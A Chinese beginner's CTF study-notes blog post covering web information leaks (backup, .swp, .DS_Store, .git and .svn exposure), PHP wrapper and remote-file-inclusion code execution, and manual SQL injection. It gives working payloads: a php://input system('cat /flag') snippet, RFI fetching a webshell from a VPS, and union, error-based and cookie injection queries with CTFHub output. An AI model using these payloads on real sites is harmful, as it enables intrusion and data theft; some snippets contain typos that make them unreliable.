信息泄露,RCE,SQL注入(以入门的视角学习)

一.备份文件下载

1.网站源码

常见网站源码备份文件后缀:tar tar.gz zip rar

常见文件名: web website backup back www wwwroot temp

访问方式:直接url+/文件名

2.bak缓存文件

漏洞原因:网站管理员为了方便,修改文件前先copy一份,一般命名为xxx.bak

且大部分server不对bak处理,可以直接下载

3.vim缓存文件

漏洞原因:使用vim时会创建临时缓存文件,关闭的时候会删除,但是!但是!如果异常退出,可以通过这个缓存文件进行恢复

比如 index.php 第一次异常交换文件为 .index.php.swp

第二次 .index.php.swo

第三次 .index.php.swn

以上文件都是二进制文件,需要转码

利用方式:1.直接crul这个文件,在vim缓存中,二进制文件中的明文会被保留

2.直接wget 下载文件,然后vim打开,选择恢复文件

4.DS.Store

漏洞原因:ds_store是macos保存文件夹的自定义属性的隐藏文件,通过ds_store可以获得目录的文件清单

利用方式:直接访问

二.Git泄露

1.Log

漏洞原因: 开发人员使用git进行版本控制,对站点自动部署,可能会将.git文件夹直接丢到线上环境,然后通过git log命令,发现有敏感操作

将操作前和操作后进行differ他们的commit值,就可以得到他操作了什么内容

利用:1.用GitHack下载后,对敏感操作进行比对

2.或者通过git reset 直接切换版本

附:GitHack工作流程:

1.尝试从packs clone->2.目录遍历clone->3.从缓存文件(index,commit)等记录中恢复

2.stash

什么是stash?

stash是用于保存git的工作状态到git栈,需要用的时候再从那里恢复

如何利用:

1.GitHack后git stash list检查是否有stash

执行git stash pop直到敏感文件出现

2.在.git/refs/stash进行diff

三.SVN泄露

1.什么是SVN

svn即是'subversion'是一个开源的管理系统,用于多人开发同一个项目

2.如何利用?

利用工具 dvcs-ripper中的./rip-svn.pl 把源网站的url+/.svn进行clone

然后再.svn里面找敏感文件,如在wc.db中找

3.遇到的问题:

arch下跑dvcs-ripper会遇到无法连接DBI问题,即DataBase Interface,利用yay找,下了好几个,最终解决

4.埋的坑:

dvcs-ripper的github库readme说他们提供docker版的,那会我的dbi没解决,于是试着接触一下docker

大概学了一下如何拉取,允许,发现这里要用到redis项目的docker,要开好几个终端,相互通信,并且给了一大堆todolist,没时间,改天弄

0x02RCE

一.php://input伪协议

前置条件:

allow_url_fopen,allow_url_include必须为open

原理将递交的内容以php代码的形式

利用方式:

在post/get提交数据的时候,加上?id=php://input

然后在body里面加上php代码

<?php system("cat /flag"); ?php>

二.php://filter

即是过滤器,格式?id=php://filter/参数=xxxx

参数:

1.resource 过滤的数据流,如resource=flag

2.read 读入链,对整个进行操作,如以base64格式解码输出/read=convert.base64-encode/resource=/flag

3.wrirte

4.还有一堆我看不懂的

三.命令注入

正如其名,没啥好说的,你能知道是啥命令一般都是白盒审计,这里介绍一些操作

php_exec函数:

不是linux命令嗷

exec(a,b)

是把a运行的结果,放到b数组里面

管道命令符:

不同系统不同字符有区别,用的时候自己查,这里不列举了

四.RFI远程执行

在你的vps上命名一个a.txt然后写上一句话木马,然后在目标网页进行?id=http://vps网址/a.txt

0x03sql注入

## 整形手工注入

1.验证注入点

?id = 1 and 1=1 #返回正确  

1 and 1=2 #返回错误

2.猜字段数

order by x         x是字段数字,如果正确则有回显,若不正确则无回显

3.爆数据库名

``(?id=)1 and 1=2 union select 1,database()``

4.爆表名

(?id=)1 and 1=2 union select 1,group_concat(table_name)from information_schema.tables where table_schema='sqli'

5.爆列名

?id=1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name='flag'

6.查flag

``?id=1 and 1=2 union select 1,group_concat(flag) from sqli.flag``

## 字符型手工注入

1.验证注入点

(?id=)1'                                                                    '

-----------回显

ID:1

Data:ctfhub 

2.查库

``(?id=)123' union select database(),10 # '``

-----------回显:

ID:sqli

Data:2

3.查表名

''(?id=)123' union select group_concat(table_name),

3 from information_schema.tables where table_schema='sqli' #'

-----------回显:

ID: news,flag

Data: 3

4.查字段名

123' union select group_concat(column_name),

3 from information_schema.columns where table_name='flag' #'

----------回显:

ID:flag

Data:3

5.查flag

``123' union select flag,3 from sqli.flag #            ``                                            '

----------回显:

ID:ctfhub{xxxxxxx}

Data:3

/*

小知识

注入中经常会碰到 --+

--在sql语句中是注释的意思,而+在sql中是空格的意思,

比如你吧注入的内容放到url里,就会发现空格转码成了+

而不是%20

*/

## 报错注入

以下正确回显格式

XPATH syntax error:'~内容~'

1.尝试使用报错函数

``?id=1 and extractvalue(1,concat(0x7e,database(),0x7e))--+``

2.爆表名字

?id=1 and extractvalue(1,concat(0x7e,(select group_concat(table_name) 

​    from information_schema.tables where table_schema=database()),0x7e))--+

3.爆列名

?id=1 and extractvalue(1,concat(0x7e,(select group_concat(column_name) 

​    from information_schema.columns where table_name='flag'),0x7e))--+

4.爆数据

``?id=1 and extractvalue(1,concat(0x7e,(select flag from flag),0x7e))--+``

遇到问题:对长度限制,则用MID函数

``SELECT MID(column_name,start[,length]) FROM table_name;中括号里面的内容可选``

## cookie注入

通过burpsuite修改cookie字段

1.爆字段数

在id=1后加order by 1 来判断有几个字段,

在修改到order by 2之前是正常,之后就会出问题了。说明只有两个字段

2.爆数据库版本和库名

``id=-1 union select version(),database()``

因为数据库版本大于5.0所以我们直接用information_schema来查

3.爆表名和列名

id=-1 union select group_concat(table_name),

2 from information_schema.tables where table_schema='sqli'

得到ID:表名

```
id=-1 union select group_concat(column_name),2 from information_schema.columns where table_name='gdctsoiitj'//gdctsoiitj是上一步查找到的库名
```

得到ID:列名

4.查flag

``id=-1 union select zrxzhzkosa,2 from gdctsoiitj``

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

LiujiaHuan13

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值